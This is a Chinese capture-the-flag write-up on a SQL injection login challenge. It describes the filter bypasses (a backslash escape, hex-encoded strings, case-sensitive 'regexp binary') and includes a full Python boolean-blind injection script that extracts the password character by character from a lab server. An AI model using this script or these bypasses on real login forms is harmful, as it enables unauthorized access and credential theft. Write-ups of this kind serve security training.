这道题跟之前做的 [NCTF2019]SQLi 十分相像,不过之前写的盲注脚本不大好,没有区分大小写
首先fuzz一下,主要过滤了union、select 、单引号、双引号、if、=、like
但是值得庆幸空格、or、注释符 没被过滤(虽然过滤了也能绕)
本题有个hint可以通过robots.txt发现
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
意思是得到正确的密码就有flag,且看查询语句就知道很明显是需要绕过引号的,没有了单双引号,我们可以用 \
反斜杠转义字符
Regexp注入
知道是用到Regexp注入,然后构造出:
|| password regexp '^a' #
但题目ban了引号,不过用16进制即可绕过
|| password regexp 0x5e4f #
因为regexp从3.23.4 版本后是不分大小写的,我们为了区分大小写就将regexp binary
配合在一起用(之前那道题就没想到这个点,现在会了)
|| password regexp binary 0x5e4f #
布尔盲注
构造是构造好了,但这么判断是否匹配成功呢?
这里我就因为粗心没仔细观察导致卡了很久,看师傅们WP时看到一个布尔盲注,顿时发现不对劲…
回到这条查询语句中
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
假如使它恒等于1会发现BJD needs to be stronger
的字样
但如果是0,就会有不同的字样You konw ,P3rh4ps needs a girl friend
脚本
import requests
import string
import time
def str_hex(litter):
str=''
for i in litter:
str+=hex(ord(i)).replace('0x','')
return '0x5e'+str #0x5e即 ^
#print('0x5e'+str)
string = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
flag=''
#print(string)
for i in range(100):
for j in string:
url='http://5381e064-c6c5-4dea-bca2-625236f225c6.node3.buuoj.cn/index.php'
data={
'username':'\\',
'password':'|| password regexp binary {}#'.format(str_hex(flag+j))
}
#print(data)
res =requests.post(url=url,data=data).text
#print(res)
if 'BJD needs to be stronger' in res:
flag+=j
print(flag)
break
else:
pass
time.sleep(0.1)
time.sleep(0.1)
得到密码并登录即可有flag